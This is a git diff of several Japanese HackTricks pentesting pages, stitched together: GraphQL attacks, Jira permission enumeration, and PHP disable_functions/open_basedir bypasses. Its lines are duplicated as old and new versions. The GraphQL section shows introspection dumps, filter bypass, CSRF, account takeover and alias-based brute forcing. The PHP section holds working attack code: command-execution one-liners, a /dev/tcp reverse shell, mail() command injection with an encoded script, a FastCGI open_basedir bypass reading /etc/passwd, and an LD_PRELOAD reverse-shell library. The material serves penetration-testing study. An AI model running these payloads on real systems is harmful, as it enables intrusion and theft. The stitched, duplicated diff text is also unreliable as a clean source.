公開されたGraphQLインスタンスを特定することで、サポートされているクエリの調査が可能となります。これは、エンドポイントを介してアクセス可能なデータを理解するために重要です。GraphQLのインスペクションシステムは、スキーマがサポートするクエリを詳細に示すことでこれを容易にします。詳細については、GraphQLのインスペクションに関するドキュメントを参照してください[**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
@ -44,9 +44,11 @@ GraphQLを含む新しい技術の登場に伴い、新しいセキュリティ
#### ユニバーサルクエリ <a href="#universal-queries" id="universal-queries"></a>
URLがGraphQLサービスであるかどうかを確認するために、**ユニバーサルクエリ** `query{__typename}` を送信できます。応答に `{"data": {"__typename": "Query"}}` が含まれている場合、URLがGraphQLエンドポイントをホストしていることが確認されます。この方法は、GraphQLの`__typename`フィールドに依存しており、クエリされたオブジェクトのタイプを明らかにします。
```javascript
query{__typename}
```
### 基本的な列挙
GraphQLは通常、**GET**、**POST** (x-www-form-urlencoded)、および**POST**(json)をサポートしています。セキュリティ上の理由から、CSRF攻撃を防ぐためにjsonのみを許可することが推奨されています。
@ -54,9 +56,11 @@ GraphQLは通常、**GET**、**POST** (x-www-form-urlencoded)、および**POST*
#### イントロスペクション
スキーマ情報を発見するためにイントロスペクションを使用するには、`__schema`フィールドをクエリしてください。このフィールドはすべてのクエリのルートタイプで利用可能です。
```bash
query={__schema{types{name,fields{name}}}}
```
このクエリを使用すると、使用されているすべてのタイプの名前を見つけることができます:
![](<../../.gitbook/assets/image (202).png>)
@ -74,16 +78,19 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy
**エラー**
**エラー**が表示されるかどうかを知ることは興味深いです。なぜなら、それらは有用な情報を提供するからです。
```
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
```
**スキーマの列挙を内省によって行う**
{% hint style="info" %}
内省が有効になっている場合でも、上記のクエリが実行されない場合は、クエリ構造から`onOperation`、`onFragment`、および`onField`ディレクティブを削除してみてください。
{% endhint %}
```bash
#Full introspection query
@ -173,10 +180,13 @@ name
}
}
```
インラインインスペクションクエリ:
```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
最後のコード行は、GraphQLからすべてのメタ情報オブジェクト名、パラメータ、タイプなどをダンプするGraphQLクエリです。
![](<../../.gitbook/assets/image (206).png>)
@ -196,13 +206,17 @@ name
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png)
"_Flags_"オブジェクトは**名前**と**値**で構成されていることがわかります。そのため、次のクエリですべてのフラグの名前と値を取得できます:
```javascript
query={flags{name, value}}
```
注意してください。**クエリするオブジェクト**が次の例のように**string**のような**プリミティブタイプ**である場合は、次のようにクエリすることができます:
```javascript
query={hiddenFlags}
```
別の例では、"_Query_" タイプオブジェクト内に 2 つのオブジェクト "_user_" と "_users_" がある場合があります。\
これらのオブジェクトには検索に必要な引数が不要な場合、欲しいデータを要求するだけで**それらからすべての情報を取得**できます。この例では、保存されたユーザー名とパスワードを抽出できます。
@ -237,6 +251,7 @@ query={hiddenFlags}
このセットアップでは、**データベース**には**人物**と**映画**が含まれています。**人物**は**メール**と**名前**で識別され、**映画**は**名前**と**評価**で識別されます。**人物**はお互いに友達になることができ、また映画を持つことができ、データベース内の関係を示します。
名前で人物を**検索**し、そのメールアドレスを取得できます。
```javascript
{
searchPerson(name: "John Doe") {
@ -244,7 +259,9 @@ email
}
}
```
あなたは名前で人を検索し、彼らが購読している映画を取得できます。
```javascript
{
searchPerson(name: "John Doe") {
@ -259,9 +276,11 @@ name
}
}
```
次に、人物の`subscribedMovies`の`name`を取得するように指示されていることに注目してください。
また、**同時に複数のオブジェクトを検索**することもできます。この場合、2つの映画を検索します
```javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
@ -269,7 +288,9 @@ name
}
}r
```
または、**別名を使用して複数の異なるオブジェクトの関係**
```javascript
{
johnsMovieList: searchPerson(name: "John Doe") {
@ -292,6 +313,7 @@ name
}
}
```
### ミューテーション
**ミューテーションはサーバーサイドで変更を加えるために使用されます。**
@ -303,6 +325,7 @@ name
このセットアップでは、**データベース**には**人物**と**映画**が含まれています。**人物**は**メール**と**名前**で識別され、**映画**は**名前**と**評価**で識別されます。**人物**はお互いに友達になることができ、またデータベース内での関係を示すために映画を持つこともできます。
データベース内に**新しい**映画を作成するためのミューテーションは、次のようになります(この例ではミューテーションは `addMovie` と呼ばれています):
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
@ -313,9 +336,11 @@ rating
}
}
```
**クエリ内でデータの値とタイプが両方示されていることに注意してください。**
さらに、データベースは`addPerson`という**mutation**操作をサポートしており、これにより新しく作成された**persons**が既存の**friends**や**movies**との関連付けが可能です。重要な点として、友達や映画は新しく作成された人物にリンクする前にデータベース内に事前に存在している必要があります。
```javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
@ -343,6 +368,7 @@ releaseYear
}
}
```
### ディレクティブの過負荷
[**このレポートで説明されている脆弱性の1つ**](https://www.landh.tech/blog/20240304-google-hack-50000/)によると、ディレクティブの過負荷は、サーバーが操作を無駄にするまで何百万回もディレクティブを呼び出し、それによってDoSサービス拒否攻撃が可能になることを意味します。
@ -373,6 +399,7 @@ releaseYear
### **GraphQLイントロスペクション防御のバイパス**
APIのイントロスペクションクエリに制限をバイパスするには、`__schema`キーワードの後に**特殊文字を挿入**すると効果的です。この方法は、イントロスペクションをブロックするために`__schema`キーワードに焦点を当てる正規表現パターンに一般的な開発者の見落としを利用しています。GraphQLが無視するが、正規表現で考慮されていないスペース、改行、カンマなどの文字を追加することで、制限を回避できます。たとえば、`__schema`の後に改行があるイントロスペクションクエリは、そのような防御をバイパスする可能性があります:
```bash
# Example with newline to bypass
{
@ -380,14 +407,17 @@ APIのイントロスペクションクエリに制限をバイパスするに
{queryType{name}}}"
}
```
### **公開されたGraphQL構造の発見**
インスペクションが無効の場合、JavaScriptライブラリ内の事前読み込みクエリを調べることが有用です。これらのクエリは開発者ツールの`Sources`タブを使用して見つけることができ、APIのスキーマに関する洞察を提供し、**公開された機密クエリ**を明らかにします。開発者ツール内で検索するコマンドは次の通りです:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query
```
## GraphQLにおけるCSRF
CSRFとは何かわからない場合は、以下のページを読んでください
@ -398,21 +428,25 @@ CSRFとは何かわからない場合は、以下のページを読んでくだ
GraphQLエンドポイントの中には、**CSRFトークンなしで構成されているもの**がいくつか存在します。
GraphQLリクエストは通常、Content-Typeが**`application/json`**で送信されるPOSTリクエストを使用します。
GraphQLリクエストは通常、Content-Typeが\*\*`application/json`\*\*で送信されるPOSTリクエストを使用します。
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
しかし、ほとんどのGraphQLエンドポイントは**`form-urlencoded` POSTリクエスト**もサポートしています:
しかし、ほとんどのGraphQLエンドポイントは\*\*`form-urlencoded` POSTリクエスト\*\*もサポートしています:
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
したがって、前述のようなCSRFリクエストは**プリフライトリクエストなし**で送信されるため、CSRFを悪用してGraphQLで**変更**を行うことが可能です。
ただし、Chromeの`SameSite`フラグの新しいデフォルトCookie値は`Lax`です。これは、CookieがサードパーティのWebからのGETリクエストでのみ送信されることを意味します。
また、**クエリリクエスト**を**GETリクエスト**として送信することも通常可能であり、GETリクエストではCSRFトークンが検証されない可能性があります。
また、[**XS-Search**](../../pentesting-web/xs-search.md) **攻撃**を悪用することで、ユーザーの資格情報を悪用してGraphQLエンドポイントからコンテンツを外部に流出させることが可能かもしれません。
また、[**XS-Search**](../../pentesting-web/xs-search/) **攻撃**を悪用することで、ユーザーの資格情報を悪用してGraphQLエンドポイントからコンテンツを外部に流出させることが可能かもしれません。
詳細については、[**こちらの元の投稿**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)をご覧ください。
@ -423,6 +457,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
クエリ入力変数の変更により、機密なアカウント詳細が[**漏洩**](https://hackerone.com/reports/792927)する可能性があります。
変異は、他のアカウントデータを変更しようとすることで、アカウント乗っ取りにつながる可能性さえあります。
```javascript
{
"operationName":"updateProfile",
@ -430,6 +465,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
```
### GraphQLでの認証のバイパス
[クエリを連鎖させる](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)ことで、弱い認証システムをバイパスできます。
@ -447,6 +483,7 @@ GraphQLエイリアスの詳細な理解のためには、次のリソースが
エイリアスの主な目的は、多数のAPI呼び出しを必要としないようにすることですが、エイリアスを使用してGraphQLエンドポイントでブルートフォース攻撃を実行するという意図しないユースケースが特定されています。これは、一部のエンドポイントが**HTTPリクエストの数**を制限することでブルートフォース攻撃を防ぐように設計されたレートリミッターで保護されているため可能です。ただし、これらのレートリミッターは、各リクエスト内の操作の数を考慮していないかもしれません。エイリアスを使用すると、1つのHTTPリクエスト内に複数のクエリを含めることができるため、このようなレート制限措置を回避できます。
以下の例を考えてみてください。これは、エイリアス付きクエリを使用してストアの割引コードの有効性を検証する方法を示しており、この方法は、複数の割引コードの検証を同時に行う可能性があるため、レート制限を回避できるかもしれません。
```bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
@ -461,6 +498,7 @@ valid
}
}
```
## ツール
### 脆弱性スキャナー
@ -501,7 +539,7 @@ HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* \*\*💬 [Discordグループ](https://discord.gg/hRep4RUj7f)\*\*に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -6,11 +6,11 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦でフォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)****[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)**のGitHubリポジトリにPRを提出してください。**
</details>
@ -24,61 +24,63 @@ HackTricksをサポートする他の方法
Jiraでは、認証されたユーザーであっても、エンドポイント`/rest/api/2/mypermissions`または`/rest/api/3/mypermissions`を介して、**権限を確認**できます。これらのエンドポイントはユーザーの現在の権限を明らかにします。**非認証ユーザーが権限を持っている**場合、**セキュリティの脆弱性**が示され、**報奨金の対象**になる可能性があります。同様に、認証されたユーザーにとって**予期しない権限**も**脆弱性**を示します。
2019年2月1日に重要な**更新**が行われ、'mypermissions'エンドポイントに**'permission'パラメータ**を含める必要がありました。この要件は、クエリされている権限を特定することで、セキュリティを**強化**することを目的としています:[こちらをチェックしてください](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
2019年2月1日に重要な**更新**が行われ、'mypermissions'エンドポイントに\*\*'permission'パラメータ**を含める必要がありました。この要件は、クエリされている権限を特定することで、セキュリティを**強化\*\*することを目的としています:[こちらをチェックしてください](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
- ADD\_COMMENTS
- ADMINISTER
- ADMINISTER\_PROJECTS
- ASSIGNABLE\_USER
- ASSIGN\_ISSUES
- BROWSE\_PROJECTS
- BULK\_CHANGE
- CLOSE\_ISSUES
- CREATE\_ATTACHMENTS
- CREATE\_ISSUES
- CREATE\_PROJECT
- CREATE\_SHARED\_OBJECTS
- DELETE\_ALL\_ATTACHMENTS
- DELETE\_ALL\_COMMENTS
- DELETE\_ALL\_WORKLOGS
- DELETE\_ISSUES
- DELETE\_OWN\_ATTACHMENTS
- DELETE\_OWN\_COMMENTS
- DELETE\_OWN\_WORKLOGS
- EDIT\_ALL\_COMMENTS
- EDIT\_ALL\_WORKLOGS
- EDIT\_ISSUES
- EDIT\_OWN\_COMMENTS
- EDIT\_OWN\_WORKLOGS
- LINK\_ISSUES
- MANAGE\_GROUP\_FILTER\_SUBSCRIPTIONS
- MANAGE\_SPRINTS\_PERMISSION
- MANAGE\_WATCHERS
- MODIFY\_REPORTER
- MOVE\_ISSUES
- RESOLVE\_ISSUES
- SCHEDULE\_ISSUES
- SET\_ISSUE\_SECURITY
- SYSTEM\_ADMIN
- TRANSITION\_ISSUES
- USER\_PICKER
- VIEW\_AGGREGATED\_DATA
- VIEW\_DEV\_TOOLS
- VIEW\_READONLY\_WORKFLOW
- VIEW\_VOTERS\_AND\_WATCHERS
- WORK\_ON\_ISSUES
* ADD\_COMMENTS
* ADMINISTER
* ADMINISTER\_PROJECTS
* ASSIGNABLE\_USER
* ASSIGN\_ISSUES
* BROWSE\_PROJECTS
* BULK\_CHANGE
* CLOSE\_ISSUES
* CREATE\_ATTACHMENTS
* CREATE\_ISSUES
* CREATE\_PROJECT
* CREATE\_SHARED\_OBJECTS
* DELETE\_ALL\_ATTACHMENTS
* DELETE\_ALL\_COMMENTS
* DELETE\_ALL\_WORKLOGS
* DELETE\_ISSUES
* DELETE\_OWN\_ATTACHMENTS
* DELETE\_OWN\_COMMENTS
* DELETE\_OWN\_WORKLOGS
* EDIT\_ALL\_COMMENTS
* EDIT\_ALL\_WORKLOGS
* EDIT\_ISSUES
* EDIT\_OWN\_COMMENTS
* EDIT\_OWN\_WORKLOGS
* LINK\_ISSUES
* MANAGE\_GROUP\_FILTER\_SUBSCRIPTIONS
* MANAGE\_SPRINTS\_PERMISSION
* MANAGE\_WATCHERS
* MODIFY\_REPORTER
* MOVE\_ISSUES
* RESOLVE\_ISSUES
* SCHEDULE\_ISSUES
* SET\_ISSUE\_SECURITY
* SYSTEM\_ADMIN
* TRANSITION\_ISSUES
* USER\_PICKER
* VIEW\_AGGREGATED\_DATA
* VIEW\_DEV\_TOOLS
* VIEW\_READONLY\_WORKFLOW
* VIEW\_VOTERS\_AND\_WATCHERS
* WORK\_ON\_ISSUES
例:`https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
```bash
#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
```
### 自動列挙
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="https://github.com/carlospolop/hacktricks/blob/jp/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
興味がある場合は、**ハッキングキャリア**に興味があり、ハッキングできないものをハックしたい場合は - **採用中です!**_流暢なポーランド語の読み書きが必要です_

View file

@ -1,4 +1,4 @@
# PHP - 便利な関数とdisable\_functions/open\_basedirバイパス
# PHP - Useful Functions & disable\_functions/open\_basedir bypass
<details>
@ -6,11 +6,11 @@
HackTricksをサポートする他の方法
- **会社をHackTricksで宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
- **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
* **会社をHackTricksで宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live)**で**フォロー\*\*する
* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)****[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)**のGitHubリポジトリにPRを提出する**
</details>
@ -21,52 +21,73 @@ HackTricksをサポートする他の方法
**注意:** [p0wny-shell](https://github.com/flozz/p0wny-shell/blob/master/shell.php) php webshellは、以下の関数が無効になっている場合に**自動的に**チェックしてバイパスできます。
**exec** - コマンドの出力の最終行を返します
```bash
echo exec("uname -a");
```
**passthru** - コマンドの出力をブラウザに直接渡します
```bash
echo passthru("uname -a");
```
**system** - コマンドの出力をブラウザに直接渡し、最後の行を返します
```bash
echo system("uname -a");
```
**shell\_exec** - コマンドの出力を返します
```bash
echo shell_exec("uname -a");
```
\`\`(バッククォート)- shell\_exec()と同じ
```bash
echo `uname -a`
```
**popen** - コマンドのプロセスに対して読み取りまたは書き込みパイプを開きます
```bash
echo fread(popen("/bin/ls /", "r"), 4096);
```
**proc\_open** - popen()に類似していますが、より高度な制御が可能
```bash
proc_close(proc_open("uname -a",array(),$something));
```
**preg\_replace**
**preg\_replace**
**preg\_replace** 関数は、指定されたパターンに一致する文字列を置換します。
```php
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
```
**pcntl\_exec** - プログラムを実行しますデフォルトでは、現代のPHPおよびあまり新しくないPHPでは、この関数を使用するために`pcntl.so`モジュールをロードする必要があります)
```bash
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
```
**mail / mb\_send\_mail** - この関数はメールを送信するために使用されますが、`$options` パラメータ内に任意のコマンドを挿入するために悪用されることがあります。これは、**php `mail` 関数**が通常システム内の `sendmail` バイナリを呼び出し、**追加オプションを指定**できるためです。ただし、実行されたコマンドの出力を見ることはできませんので、出力をファイルに書き込むシェルスクリプトを作成し、それを使用してメールを送信し、出力を表示することが推奨されます:
```bash
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
```
**dl** - この関数はPHP拡張機能を動的にロードするために使用できます。この関数は常に存在するわけではないので、悪用しようとする前に利用可能かどうかを確認する必要があります。[このページを読んで、この関数を悪用する方法を学んでください](disable\_functions-bypass-dl-function.md)。
### PHPコードの実行
evalの他にもPHPコードを実行する方法があります: include/requireは、ローカルファイルインクルードおよびリモートファイルインクルードの形式でリモートコード実行に使用できます。
```php
${<php code>} // If your input gets reflected in any PHP string, it will be executed.
eval()
@ -86,12 +107,13 @@ $func->invokeArgs(array());
// or serialize/unserialize function
```
## disable\_functions & open\_basedir
**Disabled functions**は、PHPの`.ini`ファイルで設定できる設定で、指定された**関数**の使用を**禁止**するものです。**Open basedir**は、PHPにアクセスできるフォルダを示す設定です。\
PHPの設定は、_ /etc/php7/conf.d_などのパスに構成する必要があります。
PHPの設定は、\_ /etc/php7/conf.d\_などのパスに構成する必要があります。
両方の構成は、**`phpinfo()`**の出力で確認できます:
両方の構成は、\*\*`phpinfo()`\*\*の出力で確認できます:
![](https://0xrick.github.io/images/hackthebox/kryptos/17.png)
@ -105,6 +127,7 @@ PHPの設定は、_ /etc/php7/conf.d_などのパスに構成する必要があ
### Listing dirs with glob:// bypass
最初の例では、`glob://`プロトコルといくつかのパスバイパスが使用されています。
```php
<?php
$file_list = array();
@ -121,21 +144,23 @@ foreach($file_list as $f){
echo "{$f}<br/>";
}
```
**ート1**:パスでは`/e??/*`を使用して`/etc/*`やその他のフォルダをリストすることもできます。
**ート2**:コードの一部が重複しているように見えますが、実際には必要です!
**ート1**:パスでは`/e??/*`を使用して`/etc/*`やその他のフォルダをリストすることもできます。\
**ート2**:コードの一部が重複しているように見えますが、実際には必要です!\
**ート3**:この例はフォルダをリストするためだけに有用です
### 完全な open_basedir バイパス FastCGI の乱用
### 完全な open\_basedir バイパス FastCGI の乱用
**PHP-FPM と FastCGI について詳しく学びたい**場合は、[このページの最初のセクション](disable_functions-bypass-php-fpm-fastcgi.md)を読んでください。
**`php-fpm`** が構成されている場合、それを濫用して **open_basedir** を完全にバイパスすることができます:
**PHP-FPM と FastCGI について詳しく学びたい**場合は、[このページの最初のセクション](disable\_functions-bypass-php-fpm-fastcgi.md)を読んでください。\
**`php-fpm`** が構成されている場合、それを濫用して **open\_basedir** を完全にバイパスすることができます:
![](<../../../../.gitbook/assets/image (350).png>)
![](<../../../../.gitbook/assets/image (349).png>)
最初にやるべきことは、**php-fpm の unix ソケットがどこにあるかを見つける**ことです。通常は`/var/run`以下にあるので、**前述のコードを使用してディレクトリをリストし、それを見つける**ことができます。
[ここ](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy)からのコード。
最初にやるべきことは、**php-fpm の unix ソケットがどこにあるかを見つける**ことです。通常は`/var/run`以下にあるので、**前述のコードを使用してディレクトリをリストし、それを見つける**ことができます。\
[ここ](https://balsn.tw/ctf\_writeup/20190323-0ctf\_tctf2019quals/#wallbreaker-easy)からのコード。
```php
<?php
/**
@ -486,13 +511,14 @@ $params = array(
echo $client->request($params, $code)."\n";
?>
```
このスクリプトは、**通常は/var/runにあるphp-fpmのunixソケット**と通信して、任意のコードを実行します。送信される**PHP\_VALUE**属性によって**open_basedir**設定が上書きされます。\
このスクリプトは、**通常は/var/runにあるphp-fpmのunixソケット**と通信して、任意のコードを実行します。送信される**PHP\_VALUE**属性によって**open\_basedir**設定が上書きされます。\
`eval`が**cmd**パラメータ内に送信されたPHPコードを実行するために使用されていることに注意してください。\
また、**コメントアウトされた324行目**に注目してください。これをコメント解除すると、**ペイロードは自動的に指定されたURLに接続してそこに含まれるPHPコードを実行**します。\
単に`http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');`にアクセスすると、`/etc/passwd`ファイルの内容を取得できます。
{% hint style="warning" %}
`open_basedir`構成を上書きしたように、**`disable_functions`を上書き**できると考えているかもしれません。試してみてくださいが、おそらく**`disable_functions`は`.ini` php**構成ファイルでのみ構成でき、PHP\_VALUEを使用して行う変更はこの特定の設定には効果がありません。
`open_basedir`構成を上書きしたように、**`disable_functions`を上書き**できると考えているかもしれません。試してみてくださいが、おそらく\*\*`disable_functions`は`.ini` php\*\*構成ファイルでのみ構成でき、PHP\_VALUEを使用して行う変更はこの特定の設定には効果がありません。
{% endhint %}
## disable\_functions バイパス
@ -502,7 +528,7 @@ echo $client->request($params, $code)."\n";
### 自動バイパスの発見
[https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser)というツールを使用して、**`disable_functions`****バイパス**するために使用できる関数(あれば)を示します。
[https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser)というツールを使用して、**`disable_functions`をバイパス**するために使用できる関数(あれば)を示します。
### 他のシステム関数を使用したバイパス
@ -524,6 +550,7 @@ echo $client->request($params, $code)."\n";
これらの関数を見つけるために使用されたファジングスクリプトは[**こちら**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py)にあります。
以下は、`LD_PRELOAD`環境変数を悪用するためにコンパイルできるライブラリです:
```php
#include <unistd.h>
#include <sys/types.h>
@ -536,13 +563,14 @@ system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}
```
#### Chankroを使用したバイパス
この設定ミスを悪用するためには、[**Chankro**](https://github.com/TarlogicSecurity/Chankro)を使用できます。これは、**アップロードする必要のあるPHPエクスプロイト**を生成するツールです(脆弱性のあるサーバーにアクセスして実行します)。\
**Chankro**は、**実行したいライブラリとリバースシェル**を被害者のディスクに書き込み、**`LD_PRELOAD`トリック + PHP `mail()`**関数を使用してリバースシェルを実行します。
